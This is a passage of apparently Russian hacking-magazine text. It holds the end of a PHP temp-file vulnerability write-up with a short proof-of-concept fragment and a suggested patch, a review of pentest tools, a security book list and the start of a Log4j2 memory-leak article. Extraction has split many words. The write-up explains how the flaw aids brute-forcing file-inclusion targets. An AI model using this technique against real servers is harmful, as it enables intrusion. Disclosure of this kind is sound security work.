1864:   } zend_end_try();

Вре мен ные фай лы не очи щают ся и оста ются на сво их мес тах. Сто ит  толь ко
добавить  в  экс пло ит  фун кцию  чте ния  дан ных  (fread)  с  сер вера  до  того,
как раз рывать соеди нение, и он перес танет работать. :‐)

poc_e.php
35:         $fp = stream_socket_client($scheme.($ip ? $ip : $host).':
'.($scheme ? 443 : 80), $errno, $errstr, 30000);
36:         fwrite($fp, $header.$body);
37:         fread($fp, 1); // спасибо за нейтрализацию эксплоита
38:         fclose($fp);

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Как  видишь,  уяз вимость  инте рес ная  и  может  помочь  в  рас крут ке  все воз‐ 
можных инклу дов. Нап ример, ког да не зна ешь путей или нет прав на запись
в  пап ку. Сбру тить  имя  вре мен ного фай ла  гораз до  про ще,  ког да  у  тебя  этих
фай лов нес коль ко десят ков тысяч!

Офи циаль ного фик са  пока  что  не  сущес тву ет,  поэто му  под  при целом —
боль шое количес тво сер висов. Уяз вима так же связ ка nginx + PHP,  где прок‐ 
сифика ция про исхо дит по про токо лу TCP.

Иде аль ным фик сом будет отклю чить  воз можность  заг рузки фай лов,  выс‐ 
тавив опцию   в Off. Но для боль шинс тва про ектов это вряд ли
при емле мо, потому что кар тиноч ки все же нуж но как‐то пос тить. :‐)

file_uploads

В  качес тве  вре мен ного  решения  мож но  поп робовать  пересоб рать  PHP,
обер нув  вызов    в  конс трук цию  .  Но  я
не нас тоящий свар щик, и  это может при вес ти  к  неп ред ска зуемым пос ледс‐ 
тви ям.

sapi_module.deactivate() zend_try

/main/SAPI.c
532:    if (sapi_module.deactivate) {
533:        zend_try { /* added */
534:            sapi_module.deactivate();
535:        } zend_end_try(); /* /added */
536:    }

Ес ли  у  тебя  есть  более  без болез ненный  и  пра виль ный  спо соб  изба вить ся
от уяз вимос ти, не стес няй ся и пиши.

https://twitter.com/iamsecurity
https://github.com/php/php-src/tree/PHP-7.0.27
https://alt3r.eg0.ru/p0c5/12a636fcab5953233706dadacfff3ba8.txt
https://tools.ietf.org/html/rfc1867
https://raw.githubusercontent.com/php/php-src/PHP-7.0.27/main/rfc1867.c
https://ru.wikipedia.org/wiki/SIGPIPE
https://vimeo.com/255291461
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ВЗЛОМ

Се год ня в X‐Tools: отличный фрон тенд для GDB/LLDB/WinD‐
bg, про верен ная тул за для спу фа пор тов и ревер сивных атак,
нес коль ко  край не  удач ных  рас ширений  для  Burp  и  прос то
мас тхев‐ути литы в копил ку любого ресер чера. Читай, ставь,
советуй свое!

ПРОКАЧИВАЕМ GDB/LLDB
Раз работ чик: • snare
Стра ница: • GitHub

LLDB/GDB  —  про верен ные  вре менем  инс тру мен ты  отладки,  которые  тем
не  менее  из  короб ки  име ют  весь ма  спар тан ский  интерфейс  в  силу  исто‐ 
ричес ких  при чин.  Разуме ется,  у  мно гих  ресер черов  есть  удоб ный  лич но  им
фрон тенд  —  от  древ них  линук совых  поделий  до  мод ных  macOS‐тулз  типа
Hopper. Voltron — еще один про ект в этом ряду.

Voltron —  это  удоб ный фрон тенд  на  Python,  который  работа ет  с  LLDB, GDB
и  WinDbg.  Он  в  наг лядном  виде  покажет  регис тры  про цес сора,  сос тояние
памяти, дизас сем бли рован ный вывод и текущие брейк‐пой нты. Каж дое «окно
даш борда» удоб но запус тить отдель ным про цес сом под tmux, а для того, что‐ 
бы рас ста вить панели в удоб ном (читай: а‐ля тай ловом) поряд ке, автор спра‐ 
вед ливо пред лага ет исполь зовать   — надс трой ку для tmux, которая
сох ранит лей ауты рас положе ния окон  tmux и поз волит быс тро вос ста новить
сес сию voltron с отладчи ком до рабочей кон фигура ции.

tmuxinator

К сожале нию, snare, автор voltron, в пос леднее вре мя осно ватель но под‐ 
забил на свой про ект. Но и без это го voltron работа ет весь ма ста биль но и в
каких‐то кри миналь ных глю ках пока замечен не был.

СПУФИМ ПОРТЫ
Раз работ чик: • drk1wi
Стра ница: • GitHub

Час то пер вое, что дела ет ата кующий, ког да начина ет работу с сер вером, —
акку рат но  Nmap’ит  все  (а  чаще  самые  популяр ные)  пор ты.  Оно  и  понят но:
по ста тусу откры того пор та (или CLOSED, или FILTERED) мож но сде лать вывод
о  том,  какое  ПО  кру тит ся  на  сер вере,  и  час то  по  фин гер прин там  воз вра‐ 
щаемых дан ных мож но опре делить и вер сию ПО и, соот ветс твен но, вырабо‐ 
тать план ата ки.

Ути лита portspoof нес коль ко  усложнит этот этап. Вмес то  того что бы воз вра‐ 
щать  реаль ное  сос тояние  пор та,  portspoof  будет  отве чать  валид ным
SYN/ACK’ом  на  любой  зап рос. При  этом  все  пор ты  будут  казать ся  для  ата‐ 
кующе го откры тыми. Вто рая осо бен ность — на зап росы к сер висам portspoof
будет отве чать валид ными динами чес кими сиг натура ми, которые яко бы кру‐ 
тят ся на этих пор тах. Как резуль тат, ата кующе му может понадо бить ся мно го
вре мени,  что бы понять,  что же в реаль нос ти про исхо дит на ата куемом сер‐ 
вере.

ВИЗУАЛИЗИРУЕМ КЛИЕНТЫ
Раз работ чик: • libnex
Стра ница: • GitHub

При  пен тестах  час то  тре бует ся  исполь зовать  нес коль ко  бра узе ров
для выпол нения иден тичных зап росов и про вер ки резуль тата — отве та сер‐ 
вера. По умол чанию, если пус тить нес коль ко бра узе ров через прок си Burp’а,
они  будут  показы вать ся  в  еди ном  спис ке,  и  понять,  какой  зап рос  от  какого
бра узе ра, мож но, толь ко если пос мотреть, ска жем, заголов ки HTTP Request.

Пла гин  Multi‐Browser  Highlighting  как  раз  реша ет  эту  проб лему.  Пос ле  его
уста нов ки и  акти вации спи сок  выпол ненных  зап росов,  которые пой мал бур‐ 
пов ский прок си, будет под све чен раз личны ми цве тами. Цвет зап роса опре‐ 
деля ется  в  зависи мос ти  от  того бра узе ра,  который  пос лал  кон крет ный  зап‐ 
рос. Таким обра зом визу аль но ты смо жешь быс тро отде лить зап росы Chrome
от Firefox и боль ше не путать ся, прос леживая, ска жем, как пер вый зап рос вли‐ 
яет на вто рой.

ДЕТЕКТИМ ХЕШИ
Раз работ чик: • psypanda
Стра ница: • GitHub

За час тую раз добыть завет ные хеши — это далеко не все, что нуж но сде лать
перед  тем,  как  начинать  брут.  Иног да  еще  быва ет  полез но  понять,  а  что,
собс твен но, будем бру тить. Дру гими сло вами, что за хеш попал ся нам в сети.

hashID —  это  чрез вычай но  полез ная  тул за  на  Python  3,  которая  попыта ется
опре делить, что за тип хеша перед ней. В биб лиоте ке hashID более двух сот
раз личных сиг натур хешей и сер висов, которые их исполь зуют. Пол ный спи‐ 
сок дос тупен на Гит хабе в Excel‐фай ле. hashID дру жит с hashcat, John The Rip‐
per, а так же без проб лем запус кает ся и на вто рой вет ке Python.

ИЩЕМ ОШИБКИ В S3+
Раз работ чик: • VirtueSecurity
Стра ница: • GitHub

Amazon  S3  —  популяр ное  облачное  фай ловое  хра нили ще.  При  доволь но
высокой сто имос ти Ама зон обес печива ет прос тоту нас трой ки, высокую дос‐ 
тупность и мил лион нас тро ек. Из пос ледне го пре иму щес тва вытека ет логич‐ 
ный недос таток — недос мотреть и неп равиль но скон фигури ровать нас трой ки
бакета в S3 доволь но прос то.

AWS Extender — это удоб ное рас ширение для Burp,  которое поможет прос‐ 
каниро вать AWS и дру гие облачные сер висы на типич ные ошиб ки кон фигура‐ 
ции вро де невер но выс тавлен ных прав дос тупа или записи. В работе AWS Ex‐
tender  исполь зует  популяр ную  биб лиоте ку  boto3,  а  так же,  кро ме  Ама зона,
под держи вает не менее популяр ные Google Cloud и Azure. Для работы пот‐ 
ребу ются собс твен ные клю чики AWS или Google Cloud.

УПРОЩАЕМ СКАН WORDPRESS
Раз работ чик: • kacperszurek
Стра ница: • GitHub

Wpscan, без сом нения, топовый скрипт, который помога ет мно жес тву ресер‐ 
черов  поч ти  авто мати чес ки  находить  уяз вимые  инстал ляции WordPress.  Что
может  быть  про ще:  пус каешь  скрипт  через  прок си,  нат равли ваешь  на  сайт
и через пару минут в удоб ном виде получа ешь инфу об уста рев ших пла гинах,
уяз вимых пла гинах и про чих инте рес ных наход ках. Но мож но еще удоб нее.

Burp WP —  это  пла гин  для Burp,  который  поможет  тебе  находить  уяз вимые
мес та,  не  покидая  любимо го  ска нера.  Тул за  дос тупна  пря мо  из  BApp  Store
и для работы тре бует Jython. Все най ден ные проб лемы деталь но логиру ются
в соот ветс тву ющем раз деле окна Burp, а воз можность работы с офлай новой
базой  дает  пла гину  еще  нес коль ко  очков.  Прог рамма  активно  раз вива ется
и содер жит доволь но под робный README. Обя затель но про бегись и вклю чи
в свой арсе нал, если поль зуешь ся Burp’ом для пен тестов.

ИЗВЛЕКАЕМ ДАННЫЕ ИЗ SVN
Раз работ чик: • anantshri
Стра ница: • GitHub

Ис тория о  дос тупных  извне  пап ках    или   — прит ча  во  язы цех.  Тем
не  менее  при  пен тестах  регуляр но  встре чают ся  бес совес тно  тор чащие
наружу  кишоч ки  сис темы  кон тро ля  вер сий  исходно го  кода  при ложе ния.
Конеч но,  Git  сегод ня  более  популя рен,  но  SVN  по‐преж нему  встре чает ся,
в  том  чис ле и  у  боль ших про ектов. Авто мати зиро вать работу  с  этим безоб‐ 
рази ем поможет Svn‐Extractor.

.svn .git

Ис поль зуя Svn‐Extractor, ты смо жешь под робно разуз нать струк туру исходно‐ 
го  кода  про екта,  най ти фай лы,  которые не  вид ны  сна ружи,  пос мотреть,  кто,
ког да и  что  ком митил  в  про ект,  а  так же  вытащить изме нения,  которые были
затер ты  более  поз дни ми  ком митами.  А  в  них  впол не  могут  обна ружить ся
логины‐пароли  от  тес товых  и  не  очень  сер висов,  слу чай но  заком мичен ные
раз работ чиками. В  общем,  со  всех  сто рон  еще  один  полез ный  в  хозяй стве
инс тру мент.

https://stats.hackmag.com/pdf/rusanen@glc.ru
https://github.com/snare
https://github.com/snare/voltron
https://github.com/tmuxinator/tmuxinator
https://github.com/drk1wi
https://github.com/drk1wi/portspoof
https://github.com/libnex
https://github.com/libnex/burp-multi-browser-highlighting/
https://github.com/psypanda
https://github.com/psypanda/hashID
https://github.com/VirtueSecurity
https://github.com/VirtueSecurity/aws-extender
https://github.com/kacperszurek
https://github.com/kacperszurek/burp_wp
https://github.com/anantshri
https://github.com/anantshri/svn-extractor
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ВЗЛОМ

Пом нишь «весь спектр радуги» луч ших книг из леген дарно го
филь ма  «Хакеры»?  Перес мотрев  фильм  еще  раз,  мы
задались  воп росом:  а  что  бы  сегод ня  читали  кибер панки
прош лого, став шие в наше вре мя DevSecOps’ами? И вот что
у нас получи лось...

«РАДУЖНАЯ СЕРИЯ»

«Оран жевая  кни га»:  кри терии защиты дан ных  компь юте ра по стан дартам
DOD.

•

«Розовая  рубаш ка»:  спра воч ник  IBM  (проз вали  так  из‐за  стрем ной
розовой рубаш ки на мужике с обложки).

•

«Кни га дьяво ла»: биб лия UNIX.•
«Кни га дра кона»: раз работ ка ком пилято ра.•
«Крас ная кни га»: сети наци ональ ного управле ния безопас ности (извес тна
как «урод ливая крас ная кни га, которая не уме щает ся на пол ке»).

•

«ФИОЛЕТОВАЯ КНИГА»: РУКОВОДСТВО APT-ХАКЕРА

 Advanced Persistent
Threat Hacking: The Art and Science
of Hacking Any Organizations. 2015.
434 p.

Tyler Wrightson.

Эта  кни га  написа на  ради  одной‐единс‐ 
твен ной  цели:  про демонс три ровать,  что
в мире не сущес тву ет безопас ных сис тем.
При чем  написа на  она  с  позиции  прес‐ 
тупни ка,  без  ком про мис сов  и  лиш ней
полит коррек тнос ти.  Автор без застен чиво
демонс три рует  сов ремен ные  реалии
кибер‐не‐безопас ности  и  без  утай ки
делит ся  самыми  интимны ми  под робнос‐ 
тями  APT‐хакерс тва.  Такой  бру таль ный
под ход  к  изло жению  матери ала  мож но
понять:  автор  уве рен,  что  толь ко  так  мы
смо жем  по‐нас тояще му  «узнать  сво его
вра га в лицо», как это совето вал Сунь‐цзы в сво ей кни ге «Искусс тво вой ны».
Толь ко  мыс ля  как  хакер,  безопас ник  смо жет  раз работать  сколь‐нибудь
эффектив ную защиту от киберуг роз.

В кни ге опи сыва ется образ мыс лей APT‐хакера, инс тру мен ты и навыки —
которые  поз воля ют  ему  взла мывать  абсо лют но  любую  орга низа цию,  вне
зависи мос ти от того, какая там раз верну та сис тема безопас ности. С демонс‐ 
тра цией  реаль ных  при меров  взло ма,  для  реали зации  которых  впол не  дос‐ 
таточ но скром ного бюд жета и скром ных тех ничес ких навыков.

INFO

Вся кий раз, ког да мы чита ем про «злые взло мают
всех,  кто  под клю чен  хотя  бы  к  сети  220  вольт»,
мы  вспо мина ем  про  нашу  миф брей кер скую
статью 

.
Все могу щес тво  взлом щика:  оце нива ем

реаль ную сте пень угро зы хакер ских атак

«ЧЕРНАЯ КНИГА»: КОРПОРАТИВНАЯ КИБЕР(НЕ)БЕЗОПАСНОСТЬ

 Enterprise Cyberse-
curity: How to Build a Successful Cy-
berdefense Program Against Ad-
vanced Threats. 2015. 536 p.

Scott Donaldson.

В кни ге пред став лена гиб кая и наг лядная
схе ма  для  управле ния  все ми  аспекта ми
кор поратив ной  прог раммы  кибер‐ 
безопас ности  (КПК),  в  которой  вся  КПК
раз делена  на  11  фун кци ональ ных
областей и на 113 пред метных аспектов.
Эта схе ма очень удоб на для про екти рова‐ 
ния,  раз работ ки,  внед рения,  кон тро ля
и оцен ки КПК,  управле ния рис ками. Схе‐ 
ма уни вер саль на и лег ко мас шта биру ется
под нуж ды орга низа ции любых раз меров.
В  кни ге  под черки вает ся,  что  абсо лют ная
неуяз вимость  прин ципи аль но  недос‐ 
тижима. Потому что, имея в запасе неог раничен ное вре мя, пред при имчи вый
зло умыш ленник  может  в  кон це  кон цов  пре одо леть  даже  самую  передо вую
кибер защиту.  Поэто му  эффектив ность  КПК  оце нива ется  не  в  абсо лют ных
катего риях, а в отно ситель ных — дву мя отно ситель ными показа теля ми: 

 она поз воля ет обна ружи вать кибера таки и 
 она поз воля ет сдер живать натиск про тив ника. Чем луч ше эти показа тели,

тем боль ше у штат ных спе циалис тов вре мени на то, что бы оце нить ситу ацию
и при нять конт рме ры.

нас- 

коль ко быс тро нас коль ко дол- 

го

В кни ге под робно опи саны все дей ству ющие лица на всех уров нях ответс‐ 
твен ности.  Объ ясня ется,  как  при менять  пред ложен ную  схе му  КПК  для  объ‐ 
еди нения  раз ношерс тных  депар тамен тов,  скром ных  бюд жетов,  кор поратив‐ 
ных  биз нес‐про цес сов  и  уяз вимой  киберин фраструк туры  в  рен табель ную
КПК,  спо соб ную  про тивос тоять  передо вым  кибера такам  и  спо соб ную  зна‐ 
читель но  сок ращать  ущерб  в  слу чае  про боя.  В  рен табель ную  КПК,  которая
при нима ет  во  вни мание  огра ничен ность  бюд жета,  выделен ного  на  обес‐ 
печение  кибер безопас ности,  и  которая  помога ет  находить  нуж ные  ком про‐ 
мис сы, опти маль ные имен но для вашей орга низа ции. С уче том пов седнев ной
опе ратив ной деятель нос ти и дол госроч ных стра теги чес ких задач.

При пер вом зна комс тве с кни гой вла дель цы малого и сред него биз неса,
име ющие  огра ничен ные  бюд жеты,  могут  пос читать,  что  для  них  пред став‐ 
ленная  в  кни ге  схе ма  КПК,  с  одной  сто роны,  не  по  кар ману,  а  с  дру гой —
вооб ще  излишне  гро моз дка.  И  дей стви тель но:  далеко  не  все  пред при ятия
могут поз волить себе учи тывать все эле мен ты ком плексной прог раммы КПК.
Ког да  генераль ный  дирек тор  работа ет  по  сов мести тель ству  так же  финан‐ 
совым  дирек тором,  сек ретарем  и  служ бой  тех ничес кой  под дер жки  —  пол‐ 
номас штаб ная КПК явно не для него. Одна ко в  той или иной сте пени проб‐ 
лему  кибер безопас ности  при ходит ся  решать  любому  пред при ятию,  и  если
почитать  кни гу  вни матель но,  то  мож но  уви деть,  что  пред став ляемая  схе ма
КПК лег ко адап тиру ема под нуж ды даже самого малень кого пред при ятия. Так
что она под ходит для пред при ятий любых раз меров.

Сле дует  заметить,  что  авто ры  кни ги  —  приз нанные  экспер ты  по  кибер‐ 
безопас ности,  которым доводи лось  сра жать ся  «на  передо вой»  про тив APT‐
хакеров,  отста ивая  в  раз ное  вре мя  пра витель ствен ные,  воен ные  и  кор‐ 
поратив ные инте ресы.

«КРАСНАЯ КНИГА»: СПРАВОЧНИК «КРАСНОАРМЕЙЦА»

 RTFM: Red Team Field
Manual. 2014. 96 p.
Ben Clark.

В  RTFM  при веден  базовый  син таксис
основных инс тру мен тов  коман дной  стро‐ 
ки  (для  Windows  и  Linux).  Осве щают ся
и  ори гиналь ные  вари анты  их  исполь‐ 
зования,  в  ком плек се с  такими мощ ными
инс тру мен тами,  как  Python  и  Windows
PowerShell.  RTFM  будет  сно ва  и  сно ва
эко номить  тебе  целую  кучу  вре мени
и  сил,  избавляя  от  необ ходимос ти  вспо‐ 
минать/искать  труд но  запоми нающиеся
нюан сы  опе раци онной  сис темы,  свя зан‐ 
ные с такими инс тру мен тами, как Windows
WMIC,  инс тру мен ты  коман дной  стро ки
DSQUERY, зна чения клю чей реес тра, син‐ 
таксис пла ниров щика Task Scheduler, Win‐
dows‐скрип ты и так далее. Кро ме того, что еще более важ но, RTFM помога ет
сво ему читате лю перенять наибо лее передо вые «крас ноар мей ские» тех ники.

«КНИГА БИЗОНА»: КУЛЬТИВИРОВАНИЕ DEVOPS-КУЛЬТУРЫ В
СООБЩЕСТВЕ РАЗРАБОТЧИКОВ

 Effective
DevOps: Building a Culture of Collab-
oration, Affinity, and Tooling
at Scale. 2016. 410 p.

Jennifer Davis, Ryn Daniels.

Кни га  бизона  (наз вана  так  из‐за  зве ря
с  обложки)  —  «самое  удач ное  из  ныне
сущес тву ющих  пособий  по  фор мирова‐ 
нию  кор поратив ной  DevOps‐куль туры».
Чувс тву ешь,  как  от  этих  слов  потяну ло
духом  мут ных  пси хот ренин гов,  коучин га,
тим билдин гов и кор поратив ных гим нов? :)
Тем  не  менее  почитать  ее  сто ит  (если
не веришь во всю эту фиг ню — то хотя бы
что бы знать вра га в лицо и быть готовым,
ког да  тебя  захотят  сде лать  чле ном боль‐ 
шой  и  друж ной  семьи  счас тли вых  работ‐ 
ников).  Впро чем,  дос таточ но  кри тики
с позиции рядово го  чле на  коман ды — с  точ ки  зре ния руково дите ля  (а  ведь
они нас тоже чита ют), в этой кни ге DevOps рас смат рива ется как новый спо‐ 
соб мыш ления и работы, поз воля ющий фор мировать «умные коман ды».

«Умные коман ды» отли чают ся от про чих тем, что их чле ны понима ют осо‐ 
бен ности  сво его  обра за  мыш ления  и  при меня ют  это  понима ние  с  поль зой
для  себя  и  для  дела.  Такая  спо соб ность  «умных  команд»  раз вива ется
в резуль тате сис темати чес кой прак тики ToM (Theory of Mind, наука само осоз‐ 
нания).  ToM‐ком понент  DevOps‐куль туры  поз воля ет  рас позна вать  силь ные
сто роны — свои и сво их кол лег; поз воля ет улуч шать понима ние себя и дру‐ 
гих. В резуль тате спо соб ность людей сот рудни чать и сопере живать друг дру‐ 
гу уве личи вает ся. Орга низа ции с раз витой DevOps‐куль турой реже допус кают
ошиб ки,  быс трее  вос ста нав лива ются  пос ле  сбо ев.  Сот рудни ки  этих  орга‐ 
низа ций чувс тву ют себя более счас тли во. А счас тли вые люди,  как извес тно,
более  про дук тивны.  Поэто му  цель  DevOps  —  выработ ка  вза имо пони мания
и общих целей, поз воля ющих уста новить дол говре мен ные и проч ные рабочие
вза имоот ношения  меж ду  отдель ными  сот рудни ками  и  целыми  депар тамен‐ 
тами.

DevOps‐куль тура — это сво еоб разный фрей мворк, рас полага ющий к тому,
что бы  обме нивать ся  цен ным  прак тичес ким  опы том  и  раз вивать  меж ду  сот‐ 
рудни ками  сопере жива ние.  DevOps  —  это  куль тур ная  ткань,  спле тен ная
из  трех  нитей:  неп рерыв ного  выпол нения  дол жностных  обя зан ностей,  раз‐ 
вития  про фес сиональ ных  ком петен ций  и  лич ного  самосо вер шенс тво вания.
Эта куль тур ная ткань «обво лаки вает» как отдель ных сот рудни ков, так и целые
депар тамен ты,  поз воляя  им  эффектив но  и  неп рерыв но  раз вивать ся  в  про‐ 
фес сиональ ном и лич ном пла не. DevOps помога ет уйти от «ста рого под хода»
(куль туры упре ков и поис ка винова тых) и прий ти к «новому под ходу» (исполь‐ 
зование неиз бежных оши бок не для порица ния, а для извле чения прак тичес‐ 
ких  уро ков).  В  резуль тате  в  коман де  уве личи вает ся  проз рачность
и  доверие  —  что  очень  бла гот ворно  ска зыва ется  на  спо соб ности  чле нов
коман ды сот рудни чать друг с дру гом.

Та ково  крат кое  содер жание  кни ги.  Теперь  можешь  встать  и  спеть  свой
кор поратив ный гимн, даже если ник то не слы шит. :)

«ЖЕЛТАЯ ПАУТИНА»: КЛАССИЧЕСКАЯ ПОДБОРКА УЯЗВИМОСТЕЙ
ВСЕМИРНОЙ ПАУТИНЫ

 The Tangled Web:
A guide to Securing Modern Web Ap-
plications. 2012. 300 p.

Michal Zalewski.

Все го  каких‐нибудь  двад цать  лет  назад
интернет был нас толь ко же прос тым, нас‐ 
коль ко  и  бес полез ным.  Он  пред став лял
собой  при чуд ливый  механизм,  поз воля‐ 
ющий  неболь шой  куч ке  сту ден тов  и  вун‐ 
деркин дов  посещать  домаш ние  стра нич‐ 
ки друг дру га. Подав ляющее боль шинс тво
таких  стра ничек  было  пос вящено  науке,
домаш ним питом цам и поэзии.

Ар хитек турные  изъ яны  и  недос татки
реали зации  все мир ной  паути ны,
с  которы ми  нам  при ходит ся  мирить ся
сегод ня,  —  пла та  за  исто ричес кую  неп‐ 
редус мотри тель ность. Ведь это была тех‐ 
нология, которая никог да не стре милась к тому гло баль ному ста тусу, который
она получи ла сегод ня. В ито ге мы име ем очень уяз вимую киберин фраструк‐ 
туру:  как  выяс нилось,  стан дарты,  дизайн  и  про токо лы  все мир ной  паути ны,
которых было дос таточ но для домаш них стра ничек с тан цующи ми хомяка ми,
совер шенно недос таточ но, ска жем, для интернет‐магази на, который еже год‐ 
но обра баты вает мил лионы тран закций по кре дит ным кар там.

Ог лядыва ясь  на  прош лые  два  десят ка  лет,  труд но  не  разоча ровать ся:
прак тичес ки каж дое сколь‐нибудь полез ное web‐при ложе ние, раз работан ное
до сегод няшне го дня, было вынуж дено зап латить кро вавую цену за неп редус‐ 
мотри тель ность вче раш них архи тек торов все мир ной паути ны. Мало того что
интернет  ока зал ся  куда  более  вос тре бован ным,  чем  это  ожи далось,  так мы
еще и зак рывали гла за на отдель ные неудоб ные его харак терис тики, которые
выходи ли  за  пре делы  зоны  нашего  ком форта.  И  лад но  бы  зак рывали  гла за
в  прош лом  —  мы  про дол жаем  зак рывать  их  и  сей час…  Более  того,  даже
очень хорошо спро екти рован ные и тща тель но про верен ные веб‐при ложе ния
все рав но име ют гораз до боль ше проб лем, чем их несете вые соб ратья.

Итак,  мы  поряд ком  налома ли  дров.  Приш ло  вре мя  пока ять ся.  В  целях
такого пока яния эта кни га и была написа на. Это пер вая (и на дан ный момент
луч шая в сво ем роде) кни га, которая пре дос тавля ет сис темати чес кий и тща‐ 
тель ный  ана лиз  текуще го  (ну  как  «текуще го»,  это  ско рее  клас сика  —
2012  год.  —  Прим.  ред.)  сос тояния  безопас ности  веб‐при ложе ний.
Для  такого  срав нитель но  неболь шого  объ ема  тек ста  количес тво  рас смот‐ 
ренных  нюан сов  прос то  оше ломи тель ное.  Более  того,  инже неры‐безопас‐ 
ники,  ищу щие  быс трых  решений,  пораду ются  наличию  чит‐лис тов,  которые
мож но  най ти  в  кон це  каж дого  раз дела.  В  этих  чит‐лис тах  опи сыва ются
эффектив ные  под ходы  для  решения  наибо лее  зло бод невных  проб лем,
с которы ми стал кива ется раз работ чик веб‐при ложе ний.

«КОРИЧНЕВАЯ КНИГА»: КНИГА «БАГОБОРЦА»

 A Bug Hunter ‘s Diary:
A Guided Tour Through the Wilds
of Software Security. 2011. 208 p.

Tobias Klein.

Од на  из  инте рес ней ших  книг,  вышед ших
за  пос леднее  десяти летие.  Ее  посыл
мож но  резюми ровать  сле дующи ми  сло‐ 
вами:  «Дай те  челове ку  экс пло ит,  и  вы
сде лаете  его  хакером  на  один  день,
научи те  его  экс плу ати ровать  ошиб ки  —
и  он  оста нет ся  хакером  на  всю  жизнь».
Читая «Днев ник багобор ца», ты прос леду‐ 
ешь  за  прак тику ющим  экспер том  кибер‐ 
безопас ности,  который  выяв ляет  ошиб ки
и  экс плу ати рует  их  в  самых  популяр ных
на сегод няшний день при ложе ниях, таких
как Apple  iOS, VLC‐меди апле ер, веб‐бра‐ 
узе ры  и  даже  ядро  Mac  OS  X.  Читая  эту
уни каль ную  в  сво ем  роде  кни гу,  ты  получишь  глу бокие  тех ничес кие  зна ния
и понима ние того, какой у хакеров под ход к труд нораз решимым проб лемам,
а так же в каком экста зе они находят ся в про цес се охо ты на баги.

Из кни ги ты узна ешь:
как  поль зовать ся  про верен ными  вре менем  метода ми  поис ка  багов,
такими как трас сиров ка вво димых поль зовате лем дан ных и реверс‐инжи‐ 
ниринг;

•

как экс плу ати ровать уяз вимос ти, такие как разыме нова ние NULL‐ука зате‐ 
лей, перепол нение буфера, огре хи пре обра зова ния типов;

•

как писать код, демонс три рующий наличие уяз вимос ти;•
как гра мот но уве дом лять вен доров о выяв ленных в их соф те багах.•

«Днев ник  багобор ца»  испещрен  реаль ными  при мера ми  уяз вимого  кода
и автор ски ми прог рамма ми, раз работан ными для облегче ния поис ка багов.

Ра ди  какой  бы  цели  ты  ни  охо тил ся  за  багами,  будь  то  раз вле чение,
зарабо ток или же аль тру исти чес кое стрем ление сде лать мир более безопас‐ 
ным, эта кни га поможет раз вить цен ные навыки, пос коль ку с ее помощью ты
заг лядыва ешь через пле чо про фес сиона ла‐багобор ца, и не толь ко на экран
его монито ра,  но и  в его  голову. Мак сималь ную отда чу от  кни ги получат  те,
кто хорошо зна ком с язы ком прог рамми рова ния C/C++ и x86‐ассем бле ром.

«КНИГА ВОЗМЕЗДИЯ»: БИБЛИЯ БЕЗОПАСНОЙ РАЗРАБОТКИ КОДА

 24 Deadly Sins of Software
Security: Programming Flaws
and How to Fix Them. 2010. 394 p.

Michael Howard, David LeBlanc,  John
Viega.

Се год ня любой раз работ чик соф та прос‐ 
то  обя зан  обла дать  навыка ми  написа ния
безопас ного  кода.  Эта  кни га  вскры‐ 
вает  24  прин ципи аль ных  момен та,  очень
неком фор тных для раз работ чиков  соф та.
Неком фор тных в том пла не, что раз работ‐ 
чики  прак тичес ки  всег да  допус кают  тут
серь езные огре хи. В кни ге пред став лены
прак тичес кие  советы,  каким  обра зом
при  раз работ ке  соф та  избе жать  этих
огре хов  и  как  про тес тировать  на  их
наличие  уже  име ющий ся  софт,  написан‐ 
ный дру гими людь ми. Повес тво вание кни‐ 
ги прос тое, дос тупное и осно ватель ное.

Эта  кни га будет  цен ной  наход кой для  любого раз работ чика,  незави симо
от  язы ка,  который  он  исполь зует.  Она  будет  полез на  всем  тем,  кто  заин‐ 
тересо ван  в  раз работ ке  качес твен ного,  надеж ного  и  безопас ного  кода.
В кни ге наг лядно про демонс три рова ны наибо лее рас простра нен ные и опас‐ 
ные  огре хи  сра зу  для  нес коль ких  язы ков  (C++,  C#,  Java,  Ruby,  Python,  Perl,
PHP и дру гие), а так же при веде ны про верен ные вре менем и хорошо зареко‐ 
мен довав шие  себя  тех ники,  поз воля ющие  иску пить  гре хи  дол гих  лет  косяч‐ 
ного, небезо пас ного прог рамми рова ния. :)

Ру ково дите ли  некото рых  соф твер ных  ком паний  исполь зуют  эту  кни гу
для про веде ния блиц‐тре нин гов непос редс твен но перед началом раз работ‐ 
ки нового соф та. Обя зыва ют раз работ чиков про читать из этой кни ги раз делы,
зат рагива ющие тех нологии, с которы ми им пред сто ит иметь дело. Кни га раз‐ 
бита  на  четыре  «гре хов ных»  раз дела,  пос вящен ных  веб‐соф ту,  раз работ ке,
крип тогра фии и сетевым проб лемам.

mailto:vedacoder@mail.ru
https://www.amazon.com/Advanced-Persistent-Threat-Hacking-Organization/dp/0071828362
https://xakep.ru/2018/02/06/xakep-mythbusters/
https://www.amazon.com/Enterprise-Cybersecurity-Successful-Cyberdefense-Advanced/dp/1430260823
https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504
https://www.amazon.com/Effective-DevOps-Building-Collaboration-Affinity/dp/1491926309
https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886
https://www.amazon.com/Bug-Hunters-Diary-Software-Security/dp/1593273851
https://www.amazon.com/Deadly-Sins-Software-Security-Programming/dp/0071626751
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JAVA
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Андрей Буров
andreyburov@syberia.net

КОДИНГ

В    мы  рас смот рели  утеч ки  памяти,  которые
воз ника ют  при  оста нов ках  и  пере уста нов ках  веб‐при ложе‐ 
ний,  написан ных  на  Java.  Речь  шла  о  выводе  логов  Spring
через Log4j2. Я показы вал, каким обра зом нуж но нас тро ить
веб‐при ложе ние  так,  что бы  кон текст  лог гера  унич тожал ся
в пос леднюю оче редь, пос ле кон тек ста Spring.

прош лой статье

К  сожале нию,  «весен ний»  фрей мворк  —  не  единс твен ная  тех нология,
с которой могут воз никнуть подоб ные проб лемы. Сей час я рас ска жу, как мож‐ 
но  лег ко  и  прос то  получить  утеч ки  памяти,  исполь зуя  Log4j2  в  веб‐служ бах,
и на этот раз конец исто рии будет не таким радуж ным.

Ес ли  ты  в  кур се,  о  чем  речь,  и  тебе  зна кома  эта  тема,  то  устра ивай ся
поудоб нее и читай даль ше. Если же нет,  то советую сна чала про читать пер‐ 
вую статью: она вве дет тебя в курс дела. Далее я буду исхо дить из того, что ты
так и пос тупил. :)

ПОДГОТАВЛИВАЕМ ОКРУЖЕНИЕ
Ес ли ты ког да‐нибудь раз рабаты вал веб‐служ бы на Java, то с очень боль шой
